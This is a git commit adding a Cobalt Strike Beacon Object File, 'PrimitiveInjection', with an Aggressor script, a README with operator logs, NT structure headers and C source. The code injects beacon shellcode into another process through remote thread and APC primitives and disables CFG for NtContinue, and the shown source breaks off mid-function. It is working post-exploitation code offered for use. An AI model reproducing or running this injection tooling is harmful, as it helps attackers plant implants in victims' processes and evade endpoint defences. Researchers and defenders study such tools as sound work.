This commit is contained in:
trickster0
2025-06-21 13:55:06 +03:00
parent 4a0b7834a6
commit 4a289f5e15
6 changed files with 850 additions and 1 deletions
+6
View File
@@ -0,0 +1,6 @@
BOFNAME := primitiveinj
CC_x64 := x86_64-w64-mingw32-gcc
all:
$(CC_x64) -o $(BOFNAME).x64.o -c entry.c
+64
View File
@@ -0,0 +1,64 @@
beacon_command_register(
"primitive_shinject",
"Primitive Injection",
"Usage: primitive_shinject PID path_to_bin\n");
beacon_command_register(
"primitive_inject",
"Primitive Injection",
"Usage: primitive_shinject PID listener_name");
alias primitive_shinject {
local('$handle $data $args $sc_data');
# figure out the arch of this session
$barch = barch($1);
# read in the right BOF file
$handle = openf(script_resource("primitiveinj. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
$sc_handle = openf($3);
$sc_data = readb($sc_handle, -1);
closef($sc_handle);
# pack our arguments
$args = bof_pack($1, "ib", $2, $sc_data);
btask($1, "Primitive Injection (thanos)");
btask($1, "Reading shellcode from: $+ $3");
# execute it.
beacon_inline_execute($1, $data, "go", $args);
}
alias primitive_inject {
local('$handle $data $args');
# figure out the arch of this session
$barch = barch($1);
# read in the right BOF file
$handle = openf(script_resource("primitiveinj. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
if (listener_info($3) is $null) {
berror($1, "Could not find listener $3");
}
else {
# Exit function is thread, as we're injecting into an existing process we likely don't wanna terminate on beacon exit.
$sc_data = payload($3, "x64", "thread");
# pack our arguments
$args = bof_pack($1, "ib", $2, $sc_data);
btask($1, "Primitive Injection (thanos)");
btask($1, "Using $+ $3 $+ listener for beacon shellcode generation.");
# execute it.
beacon_inline_execute($1, $data, "go", $args);
}
}
+80 -1
View File
@@ -1,2 +1,81 @@
# PrimitiveInjection
PrimitiveInjection by using Read, Write and Allocation Primitives.
PrimitiveInjection BOF POC by using Read, Write and Allocation Primitives.
## Usage
This BOF registers 2 commands,
primitive_shinject to inject any shellcode to a PID.
```
primitive_shinject PID path_to_bin
3/08 13:06:21 UTC [task] <> Primitive Injection (thanos)
03/08 13:06:21 UTC [task] <> Reading shellcode from: /home/test/beacon.bin
03/08 13:06:27 UTC [checkin] host called home, sent: 321455 bytes
03/08 13:06:28 UTC [output]
received output:
[+] Peb Address: 0x0000000001118000
03/08 13:06:28 UTC [output]
received output:
[+] Read 8 bytes
03/08 13:06:28 UTC [output]
received output:
[+] Heap Base Addr: 0000000001330000
03/08 13:06:28 UTC [output]
received output:
[+] Heap Allocation: 000000000A0FBBB0
03/08 13:06:28 UTC [output]
received output:
[+] Wrote 1232 bytes
03/08 13:06:28 UTC [output]
received output:
[+] Wrote 8 bytes
03/08 13:06:28 UTC [output]
received output:
[+] Heap Allocation: 000000000169AD30
03/08 13:06:28 UTC [output]
received output:
[+] Wrote 1232 bytes
03/08 13:06:28 UTC [output]
received output:
[+] Wrote 8 bytes
03/08 13:06:28 UTC [output]
received output:
[+] Heap Allocation: 000000000169C700
03/08 13:06:28 UTC [output]
received output:
[+] Wrote 1232 bytes
03/08 13:06:28 UTC [output]
received output:
[+] Wrote 8 bytes
03/08 13:06:28 UTC [output]
received output:
[+] Wrote 312271 bytes
```
primitive_inject to inject to a PID the shellcode of a listener in cobalt
```
primitive_inject PID listener_name
```
+61
View File
@@ -0,0 +1,61 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
+365
View File
@@ -0,0 +1,365 @@
#pragma once
#pragma intrinsic(memcmp)
#include <windows.h>
WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle (HANDLE);
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId);
WINBASEAPI BOOL WINAPI KERNEL32$GetExitCodeThread(HANDLE hThread,LPDWORD lpExitCode);
WINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size);
WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes);
WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
WINBASEAPI HLOCAL WINAPI KERNEL32$LocalAlloc(UINT uFlags,SIZE_T uBytes);
WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem);
WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);
#define NtCurrentProcess() ((HANDLE) -1)
#define NtCurrentThread() ((HANDLE) -2)
#define RVA(type, base_addr, rva) (type)((ULONG_PTR) base_addr + rva)
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _USER_STACK
{
PVOID FixedStackBase;
PVOID FixedStackLimit;
PVOID ExpandableStackBase;
PVOID ExpandableStackLimit;
PVOID ExpandableStackBottom;
} USER_STACK, *PUSER_STACK;
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
typedef NTSTATUS(NTAPI*pNtCreateThreadEx)(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PVOID AttributeList OPTIONAL);
typedef NTSTATUS(NTAPI*pNtQueueApcThread)(
IN HANDLE ThreadHandle,
IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1 OPTIONAL,
IN PVOID ApcArgument2 OPTIONAL,
IN PVOID ApcArgument3 OPTIONAL);
typedef DWORD(NTAPI*pRtlQueryDepthSList)(ULONG_PTR* pValue);
typedef NTSTATUS(NTAPI*pNtResumeThread)(
IN HANDLE ThreadHandle,
OUT PULONG SuspendCount OPTIONAL);
typedef NTSTATUS(NTAPI*pNtTestAlert)();
typedef LONG KPRIORITY;
typedef void* PRTL_USER_PROCESS_PARAMETERS;
typedef void* PPS_POST_PROCESS_INIT_ROUTINE;
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BYTE InheritedAddressSpace;
BYTE ReadImageFileExecOptions;
BYTE BeingDebugged;
BYTE _SYSTEM_DEPENDENT_01;
LPVOID Mutant;
LPVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
LPVOID SubSystemData;
LPVOID ProcessHeap;
LPVOID FastPebLock;
LPVOID _SYSTEM_DEPENDENT_02;
LPVOID _SYSTEM_DEPENDENT_03;
LPVOID _SYSTEM_DEPENDENT_04;
union {
LPVOID KernelCallbackTable;
LPVOID UserSharedInfoPtr;
};
DWORD SystemReserved;
DWORD _SYSTEM_DEPENDENT_05;
LPVOID _SYSTEM_DEPENDENT_06;
LPVOID TlsExpansionCounter;
LPVOID TlsBitmap;
DWORD TlsBitmapBits[2];
LPVOID ReadOnlySharedMemoryBase;
LPVOID _SYSTEM_DEPENDENT_07;
LPVOID ReadOnlyStaticServerData;
LPVOID AnsiCodePageData;
LPVOID OemCodePageData;
LPVOID UnicodeCaseTableData;
DWORD NumberOfProcessors;
union
{
DWORD NtGlobalFlag;
LPVOID dummy02;
};
LARGE_INTEGER CriticalSectionTimeout;
LPVOID HeapSegmentReserve;
LPVOID HeapSegmentCommit;
LPVOID HeapDeCommitTotalFreeThreshold;
LPVOID HeapDeCommitFreeBlockThreshold;
DWORD NumberOfHeaps;
DWORD MaximumNumberOfHeaps;
LPVOID ProcessHeaps;
LPVOID GdiSharedHandleTable;
LPVOID ProcessStarterHelper;
LPVOID GdiDCAttributeList;
LPVOID LoaderLock;
DWORD OSMajorVersion;
DWORD OSMinorVersion;
WORD OSBuildNumber;
WORD OSCSDVersion;
DWORD OSPlatformId;
DWORD ImageSubsystem;
DWORD ImageSubsystemMajorVersion;
LPVOID ImageSubsystemMinorVersion;
union
{
LPVOID ImageProcessAffinityMask;
LPVOID ActiveProcessAffinityMask;
};
#ifdef _WIN64
LPVOID GdiHandleBuffer[64];
#else
LLPVOID GdiHandleBuffer[32];
#endif
LPVOID PostProcessInitRoutine;
LPVOID TlsExpansionBitmap;
DWORD TlsExpansionBitmapBits[32];
LPVOID SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
LPVOID pShimData;
LPVOID AppCompatInfo;
PUNICODE_STRING CSDVersion;
LPVOID ActivationContextData;
LPVOID ProcessAssemblyStorageMap;
LPVOID SystemDefaultActivationContextData;
LPVOID SystemAssemblyStorageMap;
LPVOID MinimumStackCommit;
} PEB, * PPEB;
typedef struct _PROCESS_BASIC_INFORMATION
{
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
KAFFINITY AffinityMask;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION
ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX
ProcessIoCounters, // q: IO_COUNTERS
ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2
ProcessTimes, // q: KERNEL_USER_TIMES
ProcessBasePriority, // s: KPRIORITY
ProcessRaisePriority, // s: ULONG
ProcessDebugPort, // q: HANDLE
ProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT
ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN
ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10
ProcessLdtSize, // s: PROCESS_LDT_SIZE
ProcessDefaultHardErrorMode, // qs: ULONG
ProcessIoPortHandlers, // (kernel-mode only) // PROCESS_IO_PORT_HANDLER_INFORMATION
ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS
ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void
ProcessUserModeIOPL, // qs: ULONG (requires SeTcbPrivilege)
ProcessEnableAlignmentFaultFixup, // s: BOOLEAN
ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS
ProcessWx86Information, // qs: ULONG (requires SeTcbPrivilege) (VdmAllowed)
ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20
ProcessAffinityMask, // qs: KAFFINITY, qs: GROUP_AFFINITY
ProcessPriorityBoost, // qs: ULONG
ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX
ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION
ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND
ProcessWow64Information, // q: ULONG_PTR
ProcessImageFileName, // q: UNICODE_STRING
ProcessLUIDDeviceMapsEnabled, // q: ULONG
ProcessBreakOnTermination, // qs: ULONG
ProcessDebugObjectHandle, // q: HANDLE // 30
ProcessDebugFlags, // qs: ULONG
ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables
ProcessIoPriority, // qs: IO_PRIORITY_HINT
ProcessExecuteFlags, // qs: ULONG
ProcessTlsInformation, // PROCESS_TLS_INFORMATION // ProcessResourceManagement
ProcessCookie, // q: ULONG
ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION
ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA
ProcessPagePriority, // q: PAGE_PRIORITY_INFORMATION
ProcessInstrumentationCallback, // s: PVOID or PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION // 40
ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX
ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]
ProcessImageFileNameWin32, // q: UNICODE_STRING
ProcessImageFileMapping, // q: HANDLE (input)
ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE
ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE
ProcessGroupInformation, // q: USHORT[]
ProcessTokenVirtualizationEnabled, // s: ULONG
ProcessConsoleHostProcess, // q: ULONG_PTR // ProcessOwnerInformation
ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50
ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8
ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION
ProcessDynamicFunctionTableInformation,
ProcessHandleCheckingMode, // qs: ULONG; s: 0 disables, otherwise enables
ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION
ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION
ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL
ProcessHandleTable, // q: ULONG[] // since WINBLUE
ProcessCheckStackExtentsMode, // qs: ULONG // KPROCESS->CheckStackExtents (CFG)
ProcessCommandLineInformation, // q: UNICODE_STRING // 60
ProcessProtectionInformation, // q: PS_PROTECTION
ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD
ProcessFaultInformation, // PROCESS_FAULT_INFORMATION
ProcessTelemetryIdInformation, // q: PROCESS_TELEMETRY_ID_INFORMATION
ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION
ProcessDefaultCpuSetsInformation, // SYSTEM_CPU_SET_INFORMATION[5]
ProcessAllowedCpuSetsInformation, // SYSTEM_CPU_SET_INFORMATION[5]
ProcessSubsystemProcess,
ProcessJobMemoryInformation, // q: PROCESS_JOB_MEMORY_INFO
ProcessInPrivate, // s: void // ETW // since THRESHOLD2 // 70
ProcessRaiseUMExceptionOnInvalidHandleClose, // qs: ULONG; s: 0 disables, otherwise enables
ProcessIumChallengeResponse,
ProcessChildProcessInformation, // q: PROCESS_CHILD_PROCESS_INFORMATION
ProcessHighGraphicsPriorityInformation, // qs: BOOLEAN (requires SeTcbPrivilege)
ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2
ProcessEnergyValues, // q: PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES
ProcessPowerThrottlingState, // qs: POWER_THROTTLING_PROCESS_STATE
ProcessReserved3Information, // ProcessActivityThrottlePolicy // PROCESS_ACTIVITY_THROTTLE_POLICY
ProcessWin32kSyscallFilterInformation, // q: WIN32K_SYSCALL_FILTER
ProcessDisableSystemAllowedCpuSets, // 80
ProcessWakeInformation, // PROCESS_WAKE_INFORMATION
ProcessEnergyTrackingState, // PROCESS_ENERGY_TRACKING_STATE
ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3
ProcessCaptureTrustletLiveDump,
ProcessTelemetryCoverage,
ProcessEnclaveInformation,
ProcessEnableReadWriteVmLogging, // PROCESS_READWRITEVM_LOGGING_INFORMATION
ProcessUptimeInformation, // q: PROCESS_UPTIME_INFORMATION
ProcessImageSection, // q: HANDLE
ProcessDebugAuthInformation, // since REDSTONE4 // 90
ProcessSystemResourceManagement, // PROCESS_SYSTEM_RESOURCE_MANAGEMENT
ProcessSequenceNumber, // q: ULONGLONG
ProcessLoaderDetour, // since REDSTONE5
ProcessSecurityDomainInformation, // PROCESS_SECURITY_DOMAIN_INFORMATION
ProcessCombineSecurityDomainsInformation, // PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION
ProcessEnableLogging, // PROCESS_LOGGING_INFORMATION
ProcessLeapSecondInformation, // PROCESS_LEAP_SECOND_INFORMATION
ProcessFiberShadowStackAllocation, // PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION // since 19H1
ProcessFreeFiberShadowStackAllocation, // PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION
ProcessAltSystemCallInformation, // qs: BOOLEAN (kernel-mode only) // INT2E // since 20H1 // 100
ProcessDynamicEHContinuationTargets, // PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION
ProcessDynamicEnforcedCetCompatibleRanges, // PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE_INFORMATION // since 20H2
ProcessCreateStateChange, // since WIN11
ProcessApplyStateChange,
ProcessEnableOptionalXStateFeatures,
ProcessAltPrefetchParam, // since 22H1
ProcessAssignCpuPartitions,
ProcessPriorityClassEx,
ProcessMembershipInformation,
ProcessEffectiveIoPriority,
ProcessEffectivePagePriority,
MaxProcessInfoClass
} PROCESSINFOCLASS;
typedef NTSTATUS(NTAPI*pNtQueryInformationProcess) (
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(NTAPI*pNtWaitForSingleObject)(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
typedef NTSTATUS(NTAPI*pNtContinue)(
PCONTEXT ThreadContext,
BOOLEAN RaiseAlert);
typedef NTSTATUS(NTAPI*pNtGetContextThread)(
HANDLE ThreadHandle,
PCONTEXT pContext);
typedef NTSTATUS(WINAPI*pSetProcessValidCallTargets)(
HANDLE hProcess,
LPVOID VirtualAddress,
SIZE_T RegionSize,
ULONG NumberOfOffsets,
PCFG_CALL_TARGET_INFO CfgCallInfo
);
+274
View File
@@ -0,0 +1,274 @@
#ifndef _WIN64
#error This code must be compiled with a 64-bit version of MSVC
#endif
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
//#include <tlhelp32.h>
#include "beacon.h"
#include "dep.h"
//#pragma comment(lib, "advapi32.lib")
//#pragma comment(lib, "shell32.lib")
//#pragma comment(lib, "user32.lib")
//#pragma warning(disable : 4047)
PVOID CustomCopy(PVOID Destination, CONST PVOID Source, SIZE_T Length)
{
PBYTE D = (PBYTE)Destination;
PBYTE S = (PBYTE)Source;
while (Length--)
*D++ = *S++;
return Destination;
}
VOID WINAPI CfgAddressAdd(ULONG_PTR ImageBase, ULONG_PTR Function, HANDLE hProc, int offset)
{
CFG_CALL_TARGET_INFO Cfg = { 0 };
SIZE_T Len = { 0 };
PIMAGE_NT_HEADERS Nth = NULL;
Nth = (PIMAGE_NT_HEADERS)RVA(PIMAGE_DOS_HEADER, ImageBase, ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
Len = (Nth->OptionalHeader.SizeOfImage + 0x1000 - 1) & ~(0x1000 - 1);
Cfg.Flags = CFG_CALL_TARGET_VALID;
Cfg.Offset = Function - ImageBase;
pSetProcessValidCallTargets FSetProcessValidCallTargets = (pSetProcessValidCallTargets)KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernelbase.dll"), "SetProcessValidCallTargets");
BOOL res = FSetProcessValidCallTargets(hProc, (PVOID)ImageBase, Len, offset, &Cfg);
if (!res) {
BeaconPrintf(CALLBACK_ERROR,"[X] Failed to disable CFG on NtContinue\n");
}
};
LPVOID getPeb(HANDLE hProc, HMODULE module) {
pNtQueryInformationProcess NtQueryInformationProcess = (pNtQueryInformationProcess)KERNEL32$GetProcAddress(module, "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION info;
MSVCRT$memset(&info, 0, sizeof(info));
DWORD retLength;
NTSTATUS status = NtQueryInformationProcess(hProc, ProcessBasicInformation, &info, sizeof(info), &retLength);
return info.PebBaseAddress;
}
LPVOID RemoteAllocation(HANDLE hProc, LPVOID HeapAddr, int sizeofVal, HMODULE module) {
LPVOID mallocc = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("msvcrt.dll"), "malloc");
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject");
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProc, mallocc, (PVOID)sizeofVal, FALSE, 0, 0, 0, NULL);
NtWaitForSingleObject(hThread, FALSE, NULL);
DWORD ExitCode = 0;
KERNEL32$GetExitCodeThread(hThread, &ExitCode);
DWORD64 heapAllocation = (0xFFFFFFFF00000000 & (INT64)HeapAddr) + ExitCode;
BeaconPrintf(CALLBACK_OUTPUT, "[+] Heap Allocation: %p\n", heapAllocation);
return (LPVOID)heapAllocation;
}
void WriteRemoteMemory(HANDLE hProc, LPVOID heapAllocation, int sizeofVal, unsigned char* buffer, HMODULE module) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Wrote %i bytes\n", sizeofVal);
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)KERNEL32$GetProcAddress(module, "NtQueueApcThread");
pNtResumeThread NtResumeThread = (pNtResumeThread)KERNEL32$GetProcAddress(module, "NtResumeThread");
pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject");
LPVOID RtlFillMemory = KERNEL32$GetProcAddress(module, "RtlFillMemory");
LPVOID RtlExitUserThread = KERNEL32$GetProcAddress(module, "RtlExitUserThread");
LPVOID RtlInitializeBitMapEx = KERNEL32$GetProcAddress(module, "RtlInitializeBitMapEx");
HANDLE hThread2 = NULL;
NtCreateThreadEx(&hThread2, THREAD_ALL_ACCESS, NULL, hProc, RtlExitUserThread, (PVOID)0x00000000, TRUE, 0, 0, 0, NULL);
int alignmentCheck = sizeofVal % 16;
int offsetMax = sizeofVal - alignmentCheck;
int firCounter = 0;
int eightCounter = 0;
int secCounter = 0;
int mod = 0;
if (sizeofVal >= 16) {
for (firCounter = 0; firCounter < offsetMax -1; firCounter = firCounter + 16) {
char* heapWriter = (char*)heapAllocation + firCounter;
NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlInitializeBitMapEx, (PVOID)heapWriter, (PVOID)*(ULONG_PTR*)((char*)buffer + firCounter + 8), (PVOID)*(ULONG_PTR*)((char*)buffer + firCounter));
}
}
if (alignmentCheck >= 8) {
for (eightCounter = firCounter; (eightCounter + 8) < (firCounter + alignmentCheck -1); eightCounter = eightCounter + 8) {
char* heapWriter = (char*)heapAllocation + eightCounter;
NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlInitializeBitMapEx, (PVOID)heapWriter, NULL, (PVOID)*(ULONG_PTR*)((char*)buffer + eightCounter));
}
alignmentCheck -= 8;
}
if (alignmentCheck != 0 && alignmentCheck < 8) {
if ((firCounter != 0 && eightCounter != 0) || (firCounter != 0 && eightCounter != 0)){
secCounter = eightCounter;
mod = eightCounter;
}
else if (firCounter != 0 && eightCounter == 0){
secCounter = firCounter;
mod = firCounter;
}
for (; secCounter < (mod + alignmentCheck); secCounter++) {
char* heapWriter = (char*)heapAllocation + secCounter;
NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlFillMemory, (PVOID)heapWriter, (PVOID)1, (PVOID)buffer[secCounter]);
}
}
NtResumeThread(hThread2, NULL);
NtWaitForSingleObject(hThread2, FALSE, NULL);
}
unsigned char* ReadRemoteMemory(HANDLE hProc, LPVOID addrOf, int sizeofVal, HMODULE module) {
pRtlQueryDepthSList RtlQueryDepthSList = (pRtlQueryDepthSList)KERNEL32$GetProcAddress(module, "RtlQueryDepthSList");
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject");
BeaconPrintf(CALLBACK_OUTPUT, "[+] Read %i bytes\n", sizeofVal);
unsigned char* readBytes = (unsigned char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 8);
DWORD dwDataLength = sizeofVal;
for (DWORD i = 0; i < dwDataLength; i = i + 2)
{
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, RtlQueryDepthSList, (ULONG_PTR*)((BYTE*)addrOf + i), FALSE, 0, 0, 0, NULL);
DWORD ExitCode = 0;
NtWaitForSingleObject(hThread, FALSE, NULL);
KERNEL32$GetExitCodeThread(hThread, &ExitCode);
if (dwDataLength - i == 1)
{
CustomCopy((char*)readBytes + i, (const void*)&ExitCode, 1);
}
else
{
CustomCopy((char*)readBytes + i, (const void*)&ExitCode, 2);
}
}
return readBytes;
}
VOID InjectShellcode(HANDLE hProc, INT64 heapAddress, HMODULE module, char* sc_ptr, SIZE_T sc_len) {
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)KERNEL32$GetProcAddress(module, "NtQueueApcThread");
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
pNtResumeThread NtResumeThread = (pNtResumeThread)KERNEL32$GetProcAddress(module, "NtResumeThread");
pNtContinue NtContinue = (pNtContinue)KERNEL32$GetProcAddress(module, "NtContinue");
pNtTestAlert NtTestAlert = (pNtTestAlert)KERNEL32$GetProcAddress(module, "NtTestAlert");
pNtGetContextThread NtGetContextThread = (pNtGetContextThread)KERNEL32$GetProcAddress(module, "NtGetContextThread");
